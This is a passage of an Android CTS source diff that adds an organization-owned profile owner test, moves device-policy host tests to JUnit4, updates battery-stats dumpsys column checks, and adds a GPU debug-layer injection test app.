assertTrue("Failed to remove profile owner.",
removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
new file mode 100644
index 0000000..f837274
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import org.junit.Test;
+
+/**
+ * Tests for organization-owned Profile Owner.
+ */
+public class OrgOwnedProfileOwnerTest extends BaseDevicePolicyTest {
+ public static final String DEVICE_ADMIN_PKG = DeviceAndProfileOwnerTest.DEVICE_ADMIN_PKG;
+ private static final String DEVICE_ADMIN_APK = DeviceAndProfileOwnerTest.DEVICE_ADMIN_APK;
+ private static final String ADMIN_RECEIVER_TEST_CLASS =
+ DeviceAndProfileOwnerTest.ADMIN_RECEIVER_TEST_CLASS;
+
+ private static final String RELINQUISH_DEVICE_TEST_CLASS =
+ DEVICE_ADMIN_PKG + ".RelinquishDeviceTest";
+
+ private int mParentUserId = -1;
+ protected int mUserId;
+ private boolean mHasProfileToRemove = true;
+ private boolean mHasSecondaryProfileToRemove = false;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ // We need managed users to be supported in order to create a profile of the user owner.
+ mHasFeature &= hasDeviceFeature("android.software.managed_users");
+
+ if (mHasFeature) {
+ removeTestUsers();
+ mParentUserId = mPrimaryUserId;
+ createManagedProfile();
+ }
+ }
+
+ private void createManagedProfile() throws Exception {
+ mUserId = createManagedProfile(mParentUserId);
+ switchUser(mParentUserId);
+ startUserAndWait(mUserId);
+
+ installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+ setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+ startUserAndWait(mUserId);
+ restrictManagedProfileRemoval();
+ mHasProfileToRemove = true;
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ if (mHasFeature && mHasProfileToRemove) {
+ removeOrgOwnedProfile();
+ removeUser(mUserId);
+ }
+ if (mHasSecondaryProfileToRemove) {
+ removeTestUsers();
+ getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+ }
+ super.tearDown();
+ }
+
+ private void restrictManagedProfileRemoval() throws DeviceNotAvailableException {
+ getDevice().executeShellCommand(
+ String.format("dpm mark-profile-owner-on-organization-owned-device --user %d '%s'",
+ mUserId, DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS));
+ }
+
+ @Test
+ public void testCannotRemoveManagedProfile() throws DeviceNotAvailableException {
+ if (!mHasFeature) {
+ return;
+ }
+
+ assertThat(getDevice().removeUser(mUserId)).isFalse();
+ }
+
+ @Test
+ public void testCanRelinquishControlOverDevice() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ removeOrgOwnedProfile();
+ assertHasNoUser(mUserId);
+
+ mHasProfileToRemove = false;
+ }
+
+ @Test
+ public void testLockScreenInfo() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", mUserId);
+ }
+
+ @Test
+ public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
+ // The Profile Owner should have access to all device identifiers.
+ if (!mHasFeature) {
+ return;
+ }
+
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
+ "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
+ }
+
+ @Test
+ public void testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ // Revoke the READ_PHONE_STATE permission for the profile user ID to ensure the profile
+ // owner cannot access device identifiers without consent.
+ getDevice().executeShellCommand(
+ "pm revoke --user " + mUserId + " " + DEVICE_ADMIN_PKG
+ + " android.permission.READ_PHONE_STATE");
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
+ "testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission", mUserId);
+ }
+
+ @Test
+ public void testDevicePolicyManagerParentSupport() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".OrgOwnedProfileOwnerParentTest", mUserId);
+ }
+
+ @Test
+ public void testUserRestrictionsSetOnParentAreNotPersisted() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ int secondaryUserId = createUser();
+ setPoAsUser(secondaryUserId);
+ mHasSecondaryProfileToRemove = true;
+
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+ "testAddUserRestriction_onParent", mUserId);
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+ "testHasUserRestriction", mUserId);
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+ "testHasUserRestriction", secondaryUserId);
+ removeOrgOwnedProfile();
+ assertHasNoUser(mUserId);
+ mHasProfileToRemove = false;
+
+ // Make sure the user restrictions are removed before continuing
+ waitForBroadcastIdle();
+
+ // User restrictions are not persist after organization-owned profile owner is removed
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
+ "testUserRestrictionAreNotPersisted", secondaryUserId);
+ }
+
+ @FlakyTest(bugId = 137088260)
+ @Test
+ public void testWifi() throws Exception {
+ if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
+ return;
+ }
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".WifiTest", "testGetWifiMacAddress", mUserId);
+ }
+
+ private void removeOrgOwnedProfile() throws DeviceNotAvailableException {
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, RELINQUISH_DEVICE_TEST_CLASS, mUserId);
+ }
+
+ private void assertHasNoUser(int userId) throws DeviceNotAvailableException {
+ int numWaits = 0;
+ final int MAX_NUM_WAITS = 15;
+ while (listUsers().contains(userId) && (numWaits < MAX_NUM_WAITS)) {
+ try {
+ Thread.sleep(1000);
+ numWaits += 1;
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ }
+
+ assertThat(listUsers()).doesNotContain(userId);
+ }
+
+ private void setPoAsUser(int userId) throws Exception {
+ installAppAsUser(DEVICE_ADMIN_APK, true, true, userId);
+ assertTrue("Failed to set profile owner",
+ setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+ userId, /* expectFailure */ false));
+ }
+
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
index 26dc5a3..43dde5b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
@@ -2,10 +2,14 @@
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static org.junit.Assert.fail;
+
import android.stats.devicepolicy.EventId;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import org.junit.Test;
+
/** Host-side tests to run the CtsPasswordComplexity device-side tests. */
public class PasswordComplexityTest extends BaseDevicePolicyTest {
@@ -16,7 +20,7 @@
private int mCurrentUserId;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (!mHasSecureLockScreen) {
@@ -33,7 +37,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasSecureLockScreen) {
getDevice().uninstallPackage(PKG);
}
@@ -41,6 +45,7 @@
super.tearDown();
}
+ @Test
public void testGetPasswordComplexity() throws Exception {
if (!mHasSecureLockScreen) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 0b5cdef..38bcc86 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -15,6 +15,11 @@
*/
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import org.junit.Test;
+
/**
* Host side tests for profile owner. Run the CtsProfileOwnerApp device side test.
*/
@@ -29,7 +34,7 @@
private int mUserId = 0;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mUserId = getPrimaryUser();
@@ -47,6 +52,7 @@
}
}
+ @Test
public void testWifi() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
return;
@@ -54,6 +60,7 @@
executeProfileOwnerTest("WifiTest");
}
+ @Test
public void testManagement() throws Exception {
if (!mHasFeature) {
return;
@@ -61,6 +68,7 @@
executeProfileOwnerTest("ManagementTest");
}
+ @Test
public void testAdminActionBookkeeping() throws Exception {
if (!mHasFeature) {
return;
@@ -68,6 +76,7 @@
executeProfileOwnerTest("AdminActionBookkeepingTest");
}
+ @Test
public void testAppUsageObserver() throws Exception {
if (!mHasFeature) {
return;
@@ -75,6 +84,7 @@
executeProfileOwnerTest("AppUsageObserverTest");
}
+ @Test
public void testBackupServiceEnabling() throws Exception {
final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
// The backup service cannot be enabled if the backup feature is not supported.
@@ -85,7 +95,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove profile owner.",
removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
index 26aa643..1132650 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
@@ -16,6 +16,11 @@
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import org.junit.Test;
+
/**
* To verify PO APIs targeting API level 23.
*/
@@ -27,7 +32,7 @@
private int mUserId;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
@@ -45,7 +50,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove profile owner.",
removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
@@ -54,6 +59,7 @@
super.tearDown();
}
+ @Test
public void testDelegatedCertInstaller() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index fd9a0d6..f819569 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -1,5 +1,9 @@
package com.android.cts.devicepolicy;
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
import java.util.HashMap;
import java.util.Map;
@@ -21,7 +25,7 @@
private String mOriginalLauncher;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mHasFeature = mHasFeature & hasDeviceFeature("android.software.managed_users");
@@ -41,7 +45,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
getDevice().uninstallPackage(TEST_PACKAGE);
getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
@@ -49,6 +53,8 @@
super.tearDown();
}
+ @LargeTest
+ @Test
public void testQuietMode_defaultForegroundLauncher() throws Exception {
if (!mHasFeature) {
return;
@@ -61,6 +67,8 @@
createParams(mProfileId));
}
+ @LargeTest
+ @Test
public void testQuietMode_notForegroundLauncher() throws Exception {
if (!mHasFeature) {
return;
@@ -73,6 +81,8 @@
createParams(mProfileId));
}
+ @LargeTest
+ @Test
public void testQuietMode_notDefaultLauncher() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
index fdf063ea..331b2e2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
@@ -15,8 +15,12 @@
*/
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertTrue;
+
import com.android.tradefed.device.DeviceNotAvailableException;
+import org.junit.Test;
+
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
@@ -42,7 +46,7 @@
private boolean mHasManagedUserFeature;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
@@ -51,7 +55,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
if (mRemoveOwnerInTearDown) {
assertTrue("Failed to clear owner",
@@ -78,6 +82,7 @@
runTests(className, null, userId);
}
+ @Test
public void testUserRestrictions_deviceOwnerOnly() throws Exception {
if (!mHasFeature) {
return;
@@ -92,6 +97,7 @@
"testBroadcast", mDeviceOwnerUserId);
}
+ @Test
public void testUserRestrictions_primaryProfileOwnerOnly() throws Exception {
if (!mHasFeature) {
return;
@@ -112,6 +118,7 @@
}
// Checks restrictions for managed user (NOT managed profile).
+ @Test
public void testUserRestrictions_secondaryProfileOwnerOnly() throws Exception {
if (!mHasFeature || !mSupportsMultiUser) {
return;
@@ -128,6 +135,7 @@
}
// Checks restrictions for managed profile.
+ @Test
public void testUserRestrictions_managedProfileOwnerOnly() throws Exception {
if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
return;
@@ -150,6 +158,7 @@
/**
* DO + PO combination. Make sure global DO restrictions are visible on secondary users.
*/
+ @Test
public void testUserRestrictions_layering() throws Exception {
if (!mHasFeature || !mSupportsMultiUser) {
return;
@@ -188,6 +197,7 @@
/**
* PO on user-0. It can set DO restrictions too, but they shouldn't leak to other users.
*/
+ @Test
public void testUserRestrictions_layering_profileOwnerNoLeaking() throws Exception {
if (!mHasFeature || !mSupportsMultiUser) {
return;
@@ -216,6 +226,7 @@
* DO sets profile global restrictions (only ENSURE_VERIFY_APPS), should affect all
* users (not a particularly special case but to be sure).
*/
+ @Test
public void testUserRestrictions_profileGlobalRestrictionsAsDo() throws Exception {
if (!mHasFeature || !mSupportsMultiUser) {
return;
@@ -236,6 +247,7 @@
* Managed profile owner sets profile global restrictions (only ENSURE_VERIFY_APPS), should
* affect all users.
*/
+ @Test
public void testUserRestrictions_ProfileGlobalRestrictionsAsPo() throws Exception {
if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
return;
@@ -258,7 +270,8 @@
/** Installs admin package and makes it a profile owner for a given user. */
private void setPoAsUser(int userId) throws Exception {
- installAppAsUser(DEVICE_ADMIN_APK, userId);
+ installAppAsUser(DEVICE_ADMIN_APK, /* grantPermssions= */true,
+ /* dontKillApp= */ true, userId);
assertTrue("Failed to set profile owner",
setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
userId, /* expectFailure */ false));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/LockSettingsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/LockSettingsTest.java
new file mode 100644
index 0000000..413df07
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/LockSettingsTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Denotes that a test depends on screenlock functionality (e.g. setting user password, unlocking
+ * the user, etc.) and should be run in presubmit when changes are made to the relevant code.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface LockSettingsTest {}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/PermissionsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/PermissionsTest.java
new file mode 100644
index 0000000..04a8351
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/PermissionsTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Denotes that a test depends on permissions functionality and should be run in presubmit when
+ * permissions code changes are made.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface PermissionsTest {}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
index 264bd08..16e9e7f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
@@ -19,6 +19,7 @@
import com.android.os.AtomsProto.Atom;
import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import java.util.ArrayList;
import java.util.List;
@@ -37,12 +38,14 @@
/**
* Asserts that <code>expectedLogs</code> were logged as a result of executing
- * <code>action</code>, in the same order.
+ * <code>action</code>, in the same order. Note that {@link Action#apply() } is always
+ * invoked on the <code>action</code> parameter, even if statsd logs are disabled.
*/
public static void assertMetricsLogged(ITestDevice device, Action action,
DevicePolicyEventWrapper... expectedLogs) throws Exception {
final AtomMetricTester logVerifier = new AtomMetricTester(device);
if (logVerifier.isStatsdDisabled()) {
+ action.apply();
return;
}
try {
@@ -61,6 +64,11 @@
}
}
+ public static boolean isStatsdEnabled(ITestDevice device) throws DeviceNotAvailableException {
+ final AtomMetricTester logVerifier = new AtomMetricTester(device);
+ return !logVerifier.isStatsdDisabled();
+ }
+
private static void assertExpectedMetricLogged(List<EventMetricData> data,
DevicePolicyEventWrapper expectedLog) {
final List<DevicePolicyEventWrapper> closestMatches = new ArrayList<>();
diff --git a/hostsidetests/dumpsys/Android.bp b/hostsidetests/dumpsys/Android.bp
index cdcd366..d26c8c4 100644
--- a/hostsidetests/dumpsys/Android.bp
+++ b/hostsidetests/dumpsys/Android.bp
@@ -20,6 +20,7 @@
libs: [
"cts-tradefed",
"tradefed",
+ "truth-prebuilt",
],
// tag this module as a cts test artifact
test_suites: [
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 5aaef193..6c651e2 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -16,6 +16,8 @@
package android.dumpsys.cts;
+import static com.google.common.truth.Truth.assertThat;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.log.LogUtil.CLog;
@@ -360,13 +362,16 @@
}
private void checkJobCompletion(String[] parts) {
- assertEquals(10, parts.length);
+ // This line contains a number for each job cancel reason.
+ // (See JobParameters.JOB_STOP_REASON_CODES), and future mainline updates may introudce
+ // more codes, so we have no upper bound for the number of columns.
+ assertThat(parts.length).isAtLeast(11);
assertNotNull(parts[4]); // job
- assertInteger(parts[5]); // reason_canceled
- assertInteger(parts[6]); // reason_constraints_not_satisfied
- assertInteger(parts[7]); // reason_preempt
- assertInteger(parts[8]); // reason_timeout
- assertInteger(parts[9]); // reason_device_idle
+
+ // Values for each of JOB_STOP_REASON_CODES.
+ for (int i = 5; i < parts.length; i++) {
+ assertInteger(parts[i]);
+ }
}
private void checkJobsDeferred(String[] parts) {
@@ -575,7 +580,7 @@
}
private void checkDataConnection(String[] parts) {
- assertEquals(26, parts.length);
+ assertEquals(27, parts.length);
assertInteger(parts[4]); // none
assertInteger(parts[5]); // gprs
assertInteger(parts[6]); // edge
@@ -597,7 +602,8 @@
assertInteger(parts[22]); // iwlan
assertInteger(parts[23]); // lte_ca
assertInteger(parts[24]); // nr
- assertInteger(parts[25]); // other
+ assertInteger(parts[25]); // emngcy
+ assertInteger(parts[26]); // other
}
private void checkWifiState(String[] parts) {
diff --git a/hostsidetests/edi/AndroidTest.xml b/hostsidetests/edi/AndroidTest.xml
index aea1030..acd6b57 100644
--- a/hostsidetests/edi/AndroidTest.xml
+++ b/hostsidetests/edi/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Do no need to run instant mode for collecting information -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsEdiHostTestCases.jar" />
</test>
diff --git a/hostsidetests/gputools/AndroidTest.xml b/hostsidetests/gputools/AndroidTest.xml
index cd95605..67defc0 100644
--- a/hostsidetests/gputools/AndroidTest.xml
+++ b/hostsidetests/gputools/AndroidTest.xml
@@ -30,6 +30,10 @@
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsGpuToolsRootlessGpuDebugApp-INJECT.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
index 4021140..54cc29f 100644
--- a/hostsidetests/gputools/apps/Android.bp
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -74,3 +74,24 @@
use_embedded_native_libs: false,
stl: "c++_shared",
}
+
+android_test_helper_app {
+ name: "CtsGpuToolsRootlessGpuDebugApp-INJECT",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ // tag this module as a cts test artifact
+ test_suites: ["cts"],
+ compile_multilib: "both",
+ jni_libs: [
+ "libctsgputools_jni",
+ "libVkLayer_nullLayerC",
+ "libGLES_glesLayerC",
+ ],
+ manifest: "inject/AndroidManifest.xml",
+ aaptflags: [
+ "--rename-manifest-package android.rootlessgpudebug.INJECT.app",
+ ],
+ use_embedded_native_libs: false,
+ stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/apps/inject/AndroidManifest.xml b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
new file mode 100644
index 0000000..e16aedb
--- /dev/null
+++ b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.rootlessgpudebug.app">
+
+ <application android:extractNativeLibs="true" >
+ <meta-data android:name="com.android.graphics.injectLayers.enable" android:value="true"/>
+ <activity android:name=".RootlessGpuDebugDeviceActivity" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+</manifest>
+
+
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index 6b5c645..26af1ac 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -59,10 +59,12 @@
// - Ensure we can load a layer from app's data directory (testDebugLayerLoadVulkan)
// - Ensure we can load multiple layers, in order, from app's data directory (testDebugLayerLoadVulkan)
// - Ensure we can still use system properties if no layers loaded via Settings (testSystemPropertyEnableVulkan)
- // - Ensure we can find layers in separate specified app (testDebugLayerLoadExternalVulkan)
+ // - Ensure we can find layers in separate specified app and load them in a debuggable app (testDebugLayerLoadExternalVulkan)
+ // - Ensure we can find layers in separate specified app and load them in an injectLayers app (testInjectLayerLoadExternalVulkan)
// Negative Vulkan tests
// - Ensure we cannot push a layer to non-debuggable app (testReleaseLayerLoadVulkan)
// - Ensure non-debuggable app ignores the new Settings (testReleaseLayerLoadVulkan)
+ // - Ensure we cannot push a layer to an injectLayers app (testInjectLayerLoadVulkan)
// - Ensure we cannot enumerate layers from debuggable app's data directory if Setting not specified (testDebugNoEnumerateVulkan)
// - Ensure we cannot enumerate layers without specifying the debuggable app (testDebugNoEnumerateVulkan)
// - Ensure we cannot use system properties when layer is found via Settings with debuggable app (testSystemPropertyIgnoreVulkan)
@@ -75,7 +77,8 @@
// - Ensure we can specify the app to load layers (testDebugLayerLoadGLES)
// - Ensure we can load a layer from app's data directory (testDebugLayerLoadGLES)
// - Ensure we can load multiple layers, in order, from app's data directory (testDebugLayerLoadGLES)
- // - Ensure we can find layers in separate specified app (testDebugLayerLoadExternalGLES)
+ // - Ensure we can find layers in separate specified app and load them in a debuggable app (testDebugLayerLoadExternalGLES)
+ // - Ensure we can find layers in separate specified app and load them in an injectLayers app (testInjectLayerLoadExternalGLES)
// Negative GLES tests
// - Ensure we cannot push a layer to non-debuggable app (testReleaseLayerLoadGLES)
// - Ensure non-debuggable app ignores the new Settings (testReleaseLayerLoadGLES)
@@ -100,10 +103,12 @@
private static final String LAYER_C_NAME = "VK_LAYER_ANDROID_" + LAYER_C;
private static final String DEBUG_APP = "android.rootlessgpudebug.DEBUG.app";
private static final String RELEASE_APP = "android.rootlessgpudebug.RELEASE.app";
+ private static final String INJECT_APP = "android.rootlessgpudebug.INJECT.app";
private static final String LAYERS_APP = "android.rootlessgpudebug.LAYERS.app";
private static final String GLES_LAYERS_APP = "android.rootlessgpudebug.GLES_LAYERS.app";
